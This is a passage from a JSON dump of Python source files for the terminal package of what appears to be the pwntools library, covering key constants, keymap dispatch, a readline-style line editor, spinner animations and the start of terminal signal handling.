          else:\n                    k.code = chr(c0 + 0x40)\n                k.mods |= kc.MOD_CTRL\n        elif c0 == 0x7f:\n            # print('del\\r')\n            k = Key(kc.TYPE_KEYSYM, kc.KEY_DEL)\n        elif c0 >= 0x20 and c0 < 0x80:\n            k = Key(kc.TYPE_UNICODE, chr(c0))\n        else:\n            k = Key(kc.TYPE_UNICODE, chr(c0 - 0x40), kc.MOD_CTRL | kc.MOD_ALT)\n    else: # utf8\n        n = 0\n        if   c0 & 0b11100000 == 0b11000000:\n            n = 2\n        elif c0 & 0b11110000 == 0b11100000:\n            n = 3\n        elif c0 & 0b11111000 == 0b11110000:\n            n = 4\n        elif c0 & 0b11111100 == 0b11111000:\n            n = 5\n        elif c0 & 0b11111110 == 0b11111100:\n            n = 6\n        if n:\n            c = [c0] + _cbuf[:n - 1]\n            k = Key(kc.TYPE_UNICODE, bytearray(c).decode('utf8'))\n            _cbuf = _cbuf[n - 1:]\n        else:\n            k = Key(kc.TYPE_UNKNOWN, _cbuf)\n            _cbuf = []\n    return k\n"
  },
  {
    "path": "pwnlib/term/keyconsts.py",
    "content": "TYPE_UNICODE     = 1\nTYPE_KEYSYM      = 2\nTYPE_FUNCTION    = 3\nTYPE_POSITION    = 4\nTYPE_EOF         = 5\nTYPE_UNKNOWN     = 6\nTYPE_UNKNOWN_CSI = 7\n\n# Must be these exact values for CSI parsing to work\nMOD_NONE  = 0\nMOD_SHIFT = 1 << 0\nMOD_ALT   = 1 << 1\nMOD_CTRL  = 1 << 2\n\n# Special names in C0\nKEY_BACKSPACE    = 1\nKEY_TAB          = 2\nKEY_ENTER        = 3\nKEY_ESCAPE       = 4\n\n# Special names in G0\nKEY_SPACE        = 5\nKEY_DEL          = 6\n\n# Special keys\nKEY_UP           = 7\nKEY_DOWN         = 8\nKEY_LEFT         = 9\nKEY_RIGHT        = 10\nKEY_BEGIN        = 11\nKEY_FIND         = 12\nKEY_INSERT       = 13\nKEY_DELETE       = 14\nKEY_SELECT       = 15\nKEY_PAGEUP       = 16\nKEY_PAGEDOWN     = 17\nKEY_HOME         = 18\nKEY_END          = 19\n\n# Special keys from terminfo\nKEY_CANCEL       = 20\nKEY_CLEAR        = 21\nKEY_CLOSE        = 22\nKEY_COMMAND      = 23\nKEY_COPY         = 24\nKEY_EXIT         = 25\nKEY_HELP         = 26\nKEY_MARK         = 27\nKEY_MESSAGE      = 28\nKEY_MOVE         = 29\nKEY_OPEN         = 30\nKEY_OPTIONS      = 31\nKEY_PRINT        = 32\nKEY_REDO         = 33\nKEY_REFERENCE    = 34\nKEY_REFRESH      = 35\nKEY_REPLACE      = 36\nKEY_RESTART      = 37\nKEY_RESUME       = 38\nKEY_SAVE         = 39\nKEY_SUSPEND      = 40\nKEY_UNDO         = 41\n\n# Numeric keypad special keys\nKEY_KP0          = 42\nKEY_KP1          = 43\nKEY_KP2          = 44\nKEY_KP3          = 45\nKEY_KP4          = 46\nKEY_KP5          = 47\nKEY_KP6          = 48\nKEY_KP7          = 49\nKEY_KP8          = 50\nKEY_KP9          = 51\nKEY_KPENTER      = 52\nKEY_KPPLUS       = 53\nKEY_KPMINUS      = 54\nKEY_KPMULT       = 55\nKEY_KPDIV        = 56\nKEY_KPCOMMA      = 57\nKEY_KPPERIOD     = 58\nKEY_KPEQUALS     = 59\n\n# Name mapping\nKEY_NAMES = {\n    KEY_BACKSPACE : '<backspace>',\n    KEY_TAB       : '<tab>',\n    KEY_ENTER     : '<enter>',\n    KEY_ESCAPE    : '<escape>',\n    KEY_SPACE     : '<space>',\n    KEY_DEL       : '<del>',\n    KEY_UP        : '<up>',\n    KEY_DOWN      : '<down>',\n    KEY_LEFT      : '<left>',\n    KEY_RIGHT     : '<right>',\n    KEY_BEGIN     : '<begin>',\n    KEY_FIND      : '<find>',\n    KEY_INSERT    : '<insert>',\n    KEY_DELETE    : '<delete>',\n    KEY_SELECT    : '<select>',\n    KEY_PAGEUP    : '<page up>',\n    KEY_PAGEDOWN  : '<page down>',\n    KEY_HOME      : '<home>',\n    KEY_END       : '<end>',\n    KEY_CANCEL    : '<cancel>',\n    KEY_CLEAR     : '<clear>',\n    KEY_CLOSE     : '<close>',\n    KEY_COMMAND   : '<command>',\n    KEY_COPY      : '<copy>',\n    KEY_EXIT      : '<exit>',\n    KEY_HELP      : '<help>',\n    KEY_MARK      : '<mark>',\n    KEY_MESSAGE   : '<message>',\n    KEY_MOVE      : '<move>',\n    KEY_OPEN      : '<open>',\n    KEY_OPTIONS   : '<options>',\n    KEY_PRINT     : '<print>',\n    KEY_REDO      : '<redo>',\n    KEY_REFERENCE : '<reference>',\n    KEY_REFRESH   : '<refresh>',\n    KEY_REPLACE   : '<replace>',\n    KEY_RESTART   : '<restart>',\n    KEY_RESUME    : '<resume>',\n    KEY_SAVE      : '<save>',\n    KEY_SUSPEND   : '<suspend>',\n    KEY_UNDO      : '<undo>',\n    KEY_KP0       : '<kp0>',\n    KEY_KP1       : '<kp1>',\n    KEY_KP2       : '<kp2>',\n    KEY_KP3       : '<kp3>',\n    KEY_KP4       : '<kp4>',\n    KEY_KP5       : '<kp5>',\n    KEY_KP6       : '<kp6>',\n    KEY_KP7       : '<kp7>',\n    KEY_KP8       : '<kp8>',\n    KEY_KP9       : '<kp9>',\n    KEY_KPENTER   : '<kp enter>',\n    KEY_KPPLUS    : '<kp plus>',\n    KEY_KPMINUS   : '<kp minus>',\n    KEY_KPMULT    : '<kp mult>',\n    KEY_KPDIV     : '<kp div>',\n    KEY_KPCOMMA   : '<kp comma>',\n    KEY_KPPERIOD  : '<kp period>',\n    KEY_KPEQUALS  : '<kp equals>',\n    }\n\nKEY_NAMES_REVERSE = {v:k for k, v in KEY_NAMES.items()}\n\n# terminfo\n\nSTRNAMES = [\n    'ka1',\n    'ka3',\n    'kb2',\n    'kbs',\n    'kbeg',\n    'kcbt',\n    'kc1',\n    'kc3',\n    'kcan',\n    'ktbc',\n    'kclr',\n    'kclo',\n    'kcmd',\n    'kcpy',\n    'kcrt',\n    'kctab',\n    'kdch1',\n    'kdl1',\n    'kcud1',\n    'krmir',\n    'kend',\n    'kent',\n    'kel',\n    'ked',\n    'kext',\n    'kf0',\n    'kf1',\n    'kf10',\n    'kf11',\n    'kf12',\n    'kf13',\n    'kf14',\n    'kf15',\n    'kf16',\n    'kf17',\n    'kf18',\n    'kf19',\n    'kf2',\n    'kf20',\n    'kf21',\n    'kf22',\n    'kf23',\n    'kf24',\n    'kf25',\n    'kf26',\n    'kf27',\n    'kf28',\n    'kf29',\n    'kf3',\n    'kf30',\n    'kf31',\n    'kf32',\n    'kf33',\n    'kf34',\n    'kf35',\n    'kf36',\n    'kf37',\n    'kf38',\n    'kf39',\n    'kf4',\n    'kf40',\n    'kf41',\n    'kf42',\n    'kf43',\n    'kf44',\n    'kf45',\n    'kf46',\n    'kf47',\n    'kf48',\n    'kf49',\n    'kf5',\n    'kf50',\n    'kf51',\n    'kf52',\n    'kf53',\n    'kf54',\n    'kf55',\n    'kf56',\n    'kf57',\n    'kf58',\n    'kf59',\n    'kf6',\n    'kf60',\n    'kf61',\n    'kf62',\n    'kf63',\n    'kf7',\n    'kf8',\n    'kf9',\n    'kfnd',\n    'khlp',\n    'khome',\n    'kich1',\n    'kil1',\n    'kcub1',\n    'kll',\n    'kmrk',\n    'kmsg',\n    'kmov',\n    'knxt',\n    'knp',\n    'kopn',\n    'kopt',\n    'kpp',\n    'kprv',\n    'kprt',\n    'krdo',\n    'kref',\n    'krfr',\n    'krpl',\n    'krst',\n    'kres',\n    'kcuf1',\n    'ksav',\n    'kBEG',\n    'kCAN',\n    'kCMD',\n    'kCPY',\n    'kCRT',\n    'kDC',\n    'kDL',\n    'kslt',\n    'kEND',\n    'kEOL',\n    'kEXT',\n    'kind',\n    'kFND',\n    'kHLP',\n    'kHOM',\n    'kIC',\n    'kLFT',\n    'kMSG',\n    'kMOV',\n    'kNXT',\n    'kOPT',\n    'kPRV',\n    'kPRT',\n    'kri',\n    'kRDO',\n    'kRPL',\n    'kRIT',\n    'kRES',\n    'kSAV',\n    'kSPD',\n    'khts',\n    'kUND',\n    'kspd',\n    'kund',\n    'kcuu1',\n    ]\n\nSTRFNAMES = [\n    'a1',\n    'a3',\n    'b2',\n    'backspace',\n    'beg',\n    'btab',\n    'c1',\n    'c3',\n    'cancel',\n    'catab',\n    'clear',\n    'close',\n    'command',\n    'copy',\n    'create',\n    'ctab',\n    'dc',\n    'dl',\n    'down',\n    'eic',\n    'end',\n    'enter',\n    'eol',\n    'eos',\n    'exit',\n    'f0',\n    'f1',\n    'f10',\n    'f11',\n    'f12',\n    'f13',\n    'f14',\n    'f15',\n    'f16',\n    'f17',\n    'f18',\n    'f19',\n    'f2',\n    'f20',\n    'f21',\n    'f22',\n    'f23',\n    'f24',\n    'f25',\n    'f26',\n    'f27',\n    'f28',\n    'f29',\n    'f3',\n    'f30',\n    'f31',\n    'f32',\n    'f33',\n    'f34',\n    'f35',\n    'f36',\n    'f37',\n    'f38',\n    'f39',\n    'f4',\n    'f40',\n    'f41',\n    'f42',\n    'f43',\n    'f44',\n    'f45',\n    'f46',\n    'f47',\n    'f48',\n    'f49',\n    'f5',\n    'f50',\n    'f51',\n    'f52',\n    'f53',\n    'f54',\n    'f55',\n    'f56',\n    'f57',\n    'f58',\n    'f59',\n    'f6',\n    'f60',\n    'f61',\n    'f62',\n    'f63',\n    'f7',\n    'f8',\n    'f9',\n    'find',\n    'help',\n    'home',\n    'ic',\n    'il',\n    'left',\n    'll',\n    'mark',\n    'message',\n    'move',\n    'next',\n    'npage',\n    'open',\n    'options',\n    'ppage',\n    'previous',\n    'print',\n    'redo',\n    'reference',\n    'refresh',\n    'replace',\n    'restart',\n    'resume',\n    'right',\n    'save',\n    'sbeg',\n    'scancel',\n    'scommand',\n    'scopy',\n    'screate',\n    'sdc',\n    'sdl',\n    'select',\n    'send',\n    'seol',\n    'sexit',\n    'sf',\n    'sfind',\n    'shelp',\n    'shome',\n    'sic',\n    'sleft',\n    'smessage',\n    'smove',\n    'snext',\n    'soptions',\n    'sprevious',\n    'sprint',\n    'sr',\n    'sredo',\n    'sreplace',\n    'sright',\n    'srsume',\n    'ssave',\n    'ssuspend',\n    'stab',\n    'sundo',\n    'suspend',\n    'undo',\n    'up',\n    ]\n\nFUNCSYMS = {\n    'backspace' : (KEY_DEL,       MOD_NONE ),\n    'begin'     : (KEY_BEGIN,     MOD_NONE ),\n    'beg'       : (KEY_BEGIN,     MOD_NONE ),\n    'btab'      : (KEY_TAB,       MOD_SHIFT),\n    'cancel'    : (KEY_CANCEL,    MOD_NONE ),\n    'clear'     : (KEY_CLEAR,     MOD_NONE ),\n    'close'     : (KEY_CLOSE,     MOD_NONE ),\n    'command'   : (KEY_COMMAND,   MOD_NONE ),\n    'copy'      : (KEY_COPY,      MOD_NONE ),\n    'dc'        : (KEY_DELETE,    MOD_NONE ),\n    'down'      : (KEY_DOWN,      MOD_NONE ),\n    'end'       : (KEY_END,       MOD_NONE ),\n    'enter'     : (KEY_ENTER,     MOD_NONE ),\n    'exit'      : (KEY_EXIT,      MOD_NONE ),\n    'find'      : (KEY_FIND,      MOD_NONE ),\n    'help'      : (KEY_HELP,      MOD_NONE ),\n    'home'      : (KEY_HOME,      MOD_NONE ),\n    'ic'        : (KEY_INSERT,    MOD_NONE ),\n    'left'      : (KEY_LEFT,      MOD_NONE ),\n    'mark'      : (KEY_MARK,      MOD_NONE ),\n    'message'   : (KEY_MESSAGE,   MOD_NONE ),\n    'move'      : (KEY_MOVE,      MOD_NONE ),\n    'next'      : (KEY_PAGEDOWN,  MOD_NONE ), # Not quite, but it's the best we can do\n    'npage'     : (KEY_PAGEDOWN,  MOD_NONE ),\n    'open'      : (KEY_OPEN,      MOD_NONE ),\n    'options'   : (KEY_OPTIONS,   MOD_NONE ),\n    'ppage'     : (KEY_PAGEUP,    MOD_NONE ),\n    'previous'  : (KEY_PAGEUP,    MOD_NONE ), # Not quite, but it's the best we can do\n    'print'     : (KEY_PRINT,     MOD_NONE ),\n    'redo'      : (KEY_REDO,      MOD_NONE ),\n    'reference' : (KEY_REFERENCE, MOD_NONE ),\n    'refresh'   : (KEY_REFRESH,   MOD_NONE ),\n    'replace'   : (KEY_REPLACE,   MOD_NONE ),\n    'restart'   : (KEY_RESTART,   MOD_NONE ),\n    'resume'    : (KEY_RESUME,    MOD_NONE ),\n    'right'     : (KEY_RIGHT,     MOD_NONE ),\n    'save'      : (KEY_SAVE,      MOD_NONE ),\n    'select'    : (KEY_SELECT,    MOD_NONE ),\n    'suspend'   : (KEY_SUSPEND,   MOD_NONE ),\n    'undo'      : (KEY_UNDO,      MOD_NONE ),\n    'up'        : (KEY_UP,        MOD_NONE ),\n    }\n"
  },
  {
    "path": "pwnlib/term/keymap.py",
    "content": "from pwnlib.term import key\n\n__all__ = ['Keymap']\n\n\n\nclass Keymap:\n    def __init__(self, bindings, on_match = None, on_nomatch = None,\n                  on_key = None):\n        self._on_match = on_match\n        self._on_nomatch = on_nomatch\n        self._on_key = on_key\n        self._top = {}\n        self._cur = self._top\n        self.trace = []\n        self.register(bindings)\n\n    def handle_input(self):\n        self._doread = True\n        while self._doread:\n            self.send(key.get())\n\n    def stop(self):\n        self._doread = False\n\n    @property\n    def currently_entered(self):\n        return ' '.join(map(str, self.trace))\n\n    def reset(self):\n        self._cur = self._top\n        self.trace = []\n\n    def send(self, k):\n        if k is None:\n            raise EOFError\n        self.trace.append(k)\n        if self._on_key:\n            self._on_key(self.trace)\n        match = False\n        for m, (t, cbs) in self._cur.items():\n            if m(k):\n                self._cur = t\n                if cbs:\n                    match = True\n                    if self._on_match:\n                        self._on_match(self.trace)\n                    for cb in cbs:\n                        cb(self.trace)\n        if not match and self._on_nomatch:\n            self._on_nomatch(self.trace)\n        tr = self.trace\n        if len(self._cur) == 0 or not match:\n            self.reset()\n        if len(tr) > 1 and not match:\n            self.send(k)\n\n    def register(self, desc, cb = None):\n        if isinstance(desc, dict):\n            for k, v in desc.items():\n                self.register(k, v)\n        else:\n            if   desc == '<match>':\n                self.on_match(cb)\n            elif desc == '<nomatch>':\n                self.on_nomatch(cb)\n            elif desc == '<any>':\n                self.on_key(cb)\n            else:\n                ms = map(key.Matcher, desc.split(' '))\n                if not ms:\n                    return\n                t = self._top\n                for m in ms:\n                    if m not in t:\n                        t[m] = ({}, [])\n                    t, cbs = t[m]\n                cbs.append(cb)\n\n    def unregister(self, desc, cb = None):\n        ms = map(key.Matcher, desc.split(' '))\n        if not ms:\n            return\n        t = self._top\n        bt = []\n        cbs = None\n        for m in ms:\n            if m not in t:\n                return\n            bt.append((t, cbs))\n            t, cbs = t[m]\n        if cb and cb in cbs:\n            cbs.remove(cb)\n        else:\n            while True:\n                try:\n                    cbs.pop()\n                except IndexError:\n                    break\n        # delete empty branch by backtracking\n        while not t and not cbs:\n            m = ms.pop()\n            t, cbs = bt.pop()\n            del t[m]\n\n    def on_match(self, cb):\n        self._on_match = cb\n\n    def on_nomatch(self, cb):\n        self._on_nomatch = cb\n\n    def on_key(self, cb):\n        self._on_key = cb\n"
  },
  {
    "path": "pwnlib/term/readline.py",
    "content": "\nimport io\nimport sys\nimport os\n\nfrom pwnlib.term import keyconsts as kc\nfrom pwnlib.term import keymap as km\nfrom pwnlib.term import term\nfrom pwnlib.term import text\n\ncursor = text.reverse\n\nbuffer_left, buffer_right = '', ''\nsaved_buffer = None\nhistory = []\nhistory_idx = None\nprompt_handle = None\nbuffer_handle = None\nsuggest_handle = None\nsearch_idx = None\nsearch_results = []\nstartup_hook = None\nshutdown_hook = None\n\ndelims = ' /;:.\\\\'\n\nshow_completion = True\nshow_suggestions = False\n\ncomplete_hook = None\nsuggest_hook = None\n\ntabs = 0\n\ndef force_to_bytes(data):\n    if isinstance(data, bytes):\n        return data\n    try:\n        return data.encode('utf-8')\n    except Exception:\n        return data.encode('latin-1')\n\ndef set_completer(completer):\n    global complete_hook, suggest_hook\n    if completer is None:\n        complete_hook = None\n        suggest_hook = None\n    else:\n        complete_hook = completer.complete\n        suggest_hook = completer.suggest\n\ndef fmt_suggestions(suggestions):\n    if suggestions:\n        s = ''\n        l = max(map(len, suggestions))\n        columns = term.width // (l + 1)\n        column_width = term.width // columns\n        fmt = '%%-%ds' % column_width\n        for j in range(0, len(suggestions), columns):\n            for k in range(columns):\n                l = j + k\n                if l < len(suggestions):\n                    s += fmt % suggestions[l]\n            s += '\\n'\n    else:\n        s = '(no completions)\\n'\n    return s\n\ndef auto_complete(*_):\n    global show_suggestions, tabs\n    if search_idx is not None:\n        commit_search()\n        tabs = 0\n    elif tabs == 1:\n        if complete_hook:\n            ret = complete_hook(buffer_left, buffer_right)\n            if ret:\n                tabs = 0\n                insert_text(ret)\n    else:\n        show_suggestions = not show_suggestions\n        redisplay()\n\ndef handle_keypress(trace):\n    global tabs\n    k = trace[-1]\n    if k == '<tab>':\n        tabs += 1\n    else:\n        tabs = 0\n\ndef clear():\n    global buffer_left, buffer_right, history_idx, search_idx\n    buffer_left, buffer_right = '', ''\n    history_idx = None\n    search_idx = None\n    redisplay()\n\ndef redisplay():\n    global suggest_handle\n    if buffer_handle:\n        if show_suggestions and suggest_hook:\n            suggestions = suggest_hook(buffer_left, buffer_right)\n            if suggest_handle is None:\n                h = prompt_handle or buffer_handle\n                suggest_handle = term.output(before = h)\n            s = fmt_suggestions(suggestions)\n            suggest_handle.update(s)\n        elif suggest_handle:\n            suggest_handle.update('')\n        if search_idx is None:\n            s = None\n            if buffer_right:\n                s = buffer_left + cursor(buffer_right[0]) + buffer_right[1:]\n            elif show_completion and complete_hook:\n                ret = complete_hook(buffer_left, buffer_right)\n                if ret:\n                    s = buffer_left + \\\n                      text.underline(cursor(ret[0])) + \\\n                      text.underline(ret[1:])\n            s = s or buffer_left + cursor(' ')\n            buffer_handle.update(s)\n        else:\n            if search_results != []:\n                idx, i, j = search_results[search_idx]\n                buf = history[idx]\n                a, b, c = buf[:i], buf[i:j], buf[j:]\n                s = a + text.bold_green(b) + c\n            else:\n                s = text.white_on_red(buffer_left)\n            buffer_handle.update('(search) ' + s)\n\ndef self_insert(trace):\n    if len(trace) != 1:\n        return\n    k = trace[0]\n    if k.type == kc.TYPE_UNICODE and k.mods == kc.MOD_NONE:\n        insert_text(k.code)\n\ndef set_buffer(left, right):\n    global buffer_left, buffer_right\n    buffer_left = left\n    buffer_right = right\n    redisplay()\n\ndef cancel_search(*_):\n    global search_idx\n    if search_idx is not None:\n        search_idx = None\n        redisplay()\n\ndef commit_search():\n    global search_idx\n    if search_idx is not None and search_results:\n        set_buffer(history[search_results[search_idx][0]], '')\n        search_idx = None\n        redisplay()\n\ndef update_search_results():\n    global search_results, search_idx, show_suggestions\n    if search_idx is None:\n        return\n    show_suggestions = False\n    if search_results:\n        hidx = search_results[search_idx][0]\n    else:\n        hidx = None\n    search_results = []\n    search_idx = 0\n    if not buffer_left:\n        return\n    for idx, h in enumerate(history):\n        for i in range(0, len(h) - len(buffer_left) + 1):\n            if h[i:i + len(buffer_left)] == buffer_left:\n                if hidx is not None and idx == hidx:\n                    search_idx = len(search_results)\n                search_results.append((idx, i, i + len(buffer_left)))\n                break\n\ndef search_history(*_):\n    global buffer_left, buffer_right, history_idx, search_idx\n    if search_idx is None:\n        buffer_left, buffer_right = buffer_left + buffer_right, ''\n        history_idx = None\n        search_idx = 0\n        update_search_results()\n    elif search_results:\n        search_idx = (search_idx + 1) % len(search_results)\n    redisplay()\n\ndef history_prev(*_):\n    global history_idx, saved_buffer\n    if history == []:\n        return\n    cancel_search()\n    if history_idx is None:\n        saved_buffer = (buffer_left, buffer_right)\n        history_idx = -1\n    if history_idx < len(history) - 1:\n        history_idx += 1\n        set_buffer(history[history_idx], '')\n\ndef history_next(*_):\n    global history_idx, saved_buffer\n    if history_idx is None:\n        return\n    cancel_search()\n    if history_idx == 0:\n        set_buffer(*saved_buffer)\n        history_idx = None\n        saved_buffer = None\n    else:\n        history_idx -= 1\n        set_buffer(history[history_idx], '')\n\ndef backward_char(*_):\n    global buffer_left, buffer_right\n    commit_search()\n    if buffer_left:\n        buffer_right = buffer_left[-1] + buffer_right\n        buffer_left = buffer_left[:-1]\n    redisplay()\n\ndef forward_char(*_):\n    global buffer_left, buffer_right\n    commit_search()\n    if buffer_right:\n        buffer_left += buffer_right[0]\n        buffer_right = buffer_right[1:]\n    redisplay()\n\ndef insert_text(s):\n    global history_idx, saved_buffer, buffer_left\n    if history_idx is not None:\n        history_idx = None\n        saved_buffer = None\n    buffer_left += s\n    update_search_results()\n    redisplay()\n\ndef submit(*_):\n    if search_idx is not None:\n        commit_search()\n    else:\n        keymap.stop()\n\ndef control_c(*_):\n    global history_idx, saved_buffer\n    if search_idx is not None:\n        cancel_search()\n    elif history_idx is not None:\n        set_buffer(*saved_buffer)\n        history_idx = None\n        saved_buffer = None\n    elif buffer_left or buffer_right:\n        clear()\n    else:\n        raise KeyboardInterrupt\n\ndef control_d(*_):\n    if buffer_left or buffer_right:\n        return\n    global eof\n    eof = True\n    keymap.stop()\n\ndef kill_to_end(*_):\n    global buffer_right\n    commit_search()\n    buffer_right = []\n    redisplay()\n\ndef delete_char_forward(*_):\n    global buffer_right\n    commit_search()\n    if buffer_right:\n        buffer_right = buffer_right[1:]\n        redisplay()\n\ndef delete_char_backward(*_):\n    global buffer_left\n    if buffer_left:\n        buffer_left = buffer_left[:-1]\n        update_search_results()\n        redisplay()\n\ndef kill_word_backward(*_):\n    global buffer_left\n    commit_search()\n    flag = False\n    while buffer_left:\n        c = buffer_left[-1]\n        if c[0] in delims:\n            if flag:\n                break\n        else:\n            flag = True\n        buffer_left = buffer_left[:-1]\n    redisplay()\n\ndef backward_word(*_):\n    global buffer_left, buffer_right\n    commit_search()\n    flag = False\n    while buffer_left:\n        c = buffer_left[-1]\n        if c[0] in delims:\n            if flag:\n                break\n        else:\n            flag = True\n        buffer_right = buffer_left[-1] + buffer_right\n        buffer_left = buffer_left[:-1]\n    redisplay()\n\ndef forward_word(*_):\n    global buffer_left, buffer_right\n    commit_search()\n    flag = False\n    while buffer_right:\n        c = buffer_right[0]\n        if c[0] in delims:\n            if flag:\n                break\n        else:\n            flag = True\n        buffer_left += buffer_right[0]\n        buffer_right = buffer_right[1:]\n    redisplay()\n\ndef go_beginning(*_):\n    commit_search()\n    set_buffer('', buffer_left + buffer_right)\n\ndef go_end(*_):\n    commit_search()\n    set_buffer(buffer_left + buffer_right, '')\n\nkeymap = km.Keymap({\n    '<nomatch>'   : self_insert,\n    '<up>'        : history_prev,\n    '<down>'      : history_next,\n    '<left>'      : backward_char,\n    '<right>'     : forward_char,\n    '<del>'       : delete_char_backward,\n    '<delete>'    : delete_char_forward,\n    '<enter>'     : submit,\n    'C-j'         : submit,\n    'C-<left>'    : backward_word,\n    'C-<right>'   : forward_word,\n    'M-<left>'    : backward_word,\n    'M-<right>'   : forward_word,\n    'C-c'         : control_c,\n    'C-d'         : control_d,\n    'C-k'         : kill_to_end,\n    'C-w'         : kill_word_backward,\n    '<backspace>' : kill_word_backward,\n    'M-<del>'     : kill_word_backward,\n    'C-r'         : search_history,\n    '<escape>'    : cancel_search,\n    'C-a'         : go_beginning,\n    'C-e'         : go_end,\n    '<tab>'       : auto_complete,\n    '<any>'       : handle_keypress,\n    })\n\ndef readline(_size=-1, prompt='', float=True, priority=10):\n    # The argument  _size is unused, but is there for compatibility\n    # with the existing readline\n\n    global buffer_handle, prompt_handle, suggest_handle, eof, \\\n        show_suggestions\n\n    # XXX circular imports\n    from pwnlib.term import term_mode\n    if not term_mode:\n        print(prompt, end='', flush=True)\n        return getattr(sys.stdin, 'buffer', sys.stdin).readline(_size).rstrip(b'\\n')\n    show_suggestions = False\n    eof = False\n    if prompt:\n        prompt_handle = term.output(prompt, float = float, priority = priority)\n    else:\n        prompt_handle = None\n    buffer_handle = term.output(float = float, priority = priority)\n    suggest_handle = None\n    clear()\n    if startup_hook:\n        startup_hook()\n    try:\n        while True:\n            try:\n                try:\n                    keymap.handle_input()\n                except EOFError:\n                    if len(buffer_left + buffer_right) == 0:\n                        return b''\n                if eof:\n                    return b''\n                else:\n                    buffer = (buffer_left + buffer_right)\n                    if buffer:\n                        history.insert(0, buffer)\n                    return force_to_bytes(buffer) + b'\\n'\n            except KeyboardInterrupt:\n                do_raise = False\n                try:\n                    control_c()\n                except KeyboardInterrupt:\n                    do_raise = True\n                if do_raise:\n                    raise\n    finally:\n        line = buffer_left + buffer_right + '\\n'\n        buffer_handle.update(line)\n        buffer_handle = None\n        if prompt_handle:\n            prompt_handle = None\n        if suggest_handle:\n            suggest_handle = None\n        if shutdown_hook:\n            shutdown_hook()\n\ndef raw_input(prompt='', float=True):\n    r\"\"\"raw_input(prompt='', float=True)\n\n    Replacement for the built-in ``raw_input`` using ``pwnlib`` readline\n    implementation.\n\n    Arguments:\n        prompt(str): The prompt to show to the user.\n        float(bool): If set to `True`, prompt and input will float to the\n                     bottom of the screen when `term.term_mode` is enabled.\n    \"\"\"\n    return readline(-1, prompt, float).rstrip(os.linesep.encode())\n\ndef str_input(prompt='', float=True):\n    r\"\"\"str_input(prompt='', float=True)\n\n    Replacement for the built-in ``input`` in python3 using ``pwnlib`` readline\n    implementation.\n\n    Arguments:\n        prompt(str): The prompt to show to the user.\n        float(bool): If set to `True`, prompt and input will float to the\n                     bottom of the screen when `term.term_mode` is enabled.\n    \"\"\"\n    return readline(-1, prompt, float).decode().rstrip(os.linesep)\n\ndef eval_input(prompt='', float=True):\n    \"\"\"eval_input(prompt='', float=True)\n\n    Replacement for the built-in python 2 - style ``input`` using\n    ``pwnlib`` readline implementation, and `pwnlib.util.safeeval.expr`\n    instead of ``eval`` (!).\n\n    Arguments:\n        prompt(str): The prompt to show to the user.\n        float(bool): If set to ``True``, prompt and input will float to the\n                     bottom of the screen when `term.term_mode` is enabled.\n\n    Example:\n\n        >>> try:\n        ...     saved = sys.stdin, pwnlib.term.term_mode\n        ...     pwnlib.term.term_mode = False\n        ...     sys.stdin = io.TextIOWrapper(io.BytesIO(b\"{'a': 20}\"))\n        ...     eval_input(\"Favorite object? \")['a']\n        ... finally:\n        ...     sys.stdin, pwnlib.term.term_mode = saved\n        Favorite object? 20\n    \"\"\"\n    from pwnlib.util import safeeval\n    return safeeval.const(readline(-1, prompt, float).rstrip(os.linesep.encode()))\n\ndef init():\n    global safeeval\n    # defer imports until initialization\n    import sys\n    import builtins\n    from pwnlib.util import safeeval\n\n    class Wrapper:\n        def __init__(self, fd):\n            self._fd = fd\n        def readline(self, size = None):\n            r = readline(size)\n            if isinstance(self._fd, io.TextIOWrapper):\n                r = r.decode(encoding=self._fd.encoding, errors=self._fd.errors)\n            return r\n        def __getattr__(self, k):\n            return getattr(self._fd, k)\n    sys.stdin = Wrapper(sys.stdin)\n\n    builtins.input = str_input\n"
  },
  {
    "path": "pwnlib/term/spinners.py",
    "content": "__all__ = ['spinners']\n\ndef billboard(msg, window):\n    return [msg[i : i + window].ljust(window, ' ') for i,_ in enumerate(msg)]\n\nspinners = [\n    ['/.......','./......','../.....','.../....','..../...','...../..','....../.',\n     '.......\\\\','......\\\\.','.....\\\\..','....\\\\...','...\\\\....','..\\\\.....','.\\\\......'],\n    ['|', '/', '-', '\\\\'],\n    ['q', 'p', 'b', 'd'],\n    ['.', 'o', 'O', '0', '*', ' ', ' ', ' '],\n    ['▁', '▃', '▄', '▅', '▆', '▇', '█', '▇', '▆', '▅', '▄', '▃'],\n    ['┤', '┘', '┴', '└', '├', '┌', '┬', '┐'],\n    ['←', '↖', '↑', '↗', '→', '↘', '↓', '↙'],\n    ['◢', '◢', '◣', '◣', '◤', '◤', '◥', '◥'],\n    ['◐', '◓', '◑', '◒'],\n    ['▖', '▘', '▝', '▗'],\n    ['.', 'o', 'O', '°', ' ', ' ', '°', 'O', 'o', '.', ' ', ' '],\n    ['<', '<', '∧', '∧', '>', '>', 'v', 'v'],\n    ]\n"
  },
  {
    "path": "pwnlib/term/term.py",
    "content": "import atexit\nimport errno\nimport os\nimport re\nimport shutil\nimport signal\nimport struct\nimport sys\nimport threading\nimport traceback\nimport weakref\n\nif sys.platform != 'win32':\n    import fcntl\n    import termios\n\nfrom ..context import ContextType\nfrom . import termcap\nfrom .. import py2compat\n\n__all__ = ['output', 'init']\n\n# we assume no terminal can display more lines than this\nMAX_TERM_HEIGHT = 200\n\n# list of callbacks triggered on SIGWINCH\non_winch = []\n\ncached_pos = None\nsettings = None\nsetup_done = False\nepoch = 0\n\nfd = sys.stdout\nwinchretry = False\nrlock = threading.RLock()\n\nclass WinchLock(object):\n    def __init__(self):\n        self.guard = threading.RLock()\n        self.lock = threading.Lock()\n\n    @property\n    def acquire(self):\n        return self.lock.acquire\n\n    @property\n    def release(self):\n        return self.lock.release\n\n    def __enter__(self):\n        self.guard.acquire()\n        return self.lock.__enter__()\n    def __exit__(self, tp, val, tb):\n        try:\n            return self.lock.__exit__(tp, val, tb)\n        finally:\n            if winchretry:\n                handler_sigwinch(signal.SIGWINCH, None)\n            self.guard.release()\n\nwlock = WinchLock()\n\ndef show_cursor():\n    do('cnorm')\n\ndef hide_cursor():\n    do('civis')\n\ndef update_geometry():\n    global width, height\n    width, height = shutil.get_terminal_size()\n\ndef handler_sigwinch(signum, stack):\n    global cached_pos, winchretry\n    with wlock.guard:\n        while True:\n            if not wlock.acquire(False):\n                winchretry = True\n                return\n\n            winchretry = False\n            update_geometry()\n            for cb in on_winch:\n                cb()\n            wlock.release()\n            if not winchretry: break\n\n\ndef handler_sigstop(signum, stack):\n    resetterm()\n    os.kill(0, signal.SIGSTOP)\n\ndef handler_sigcont(signum, stack):\n    global epoch, cached_pos, setup_done\n    epoch 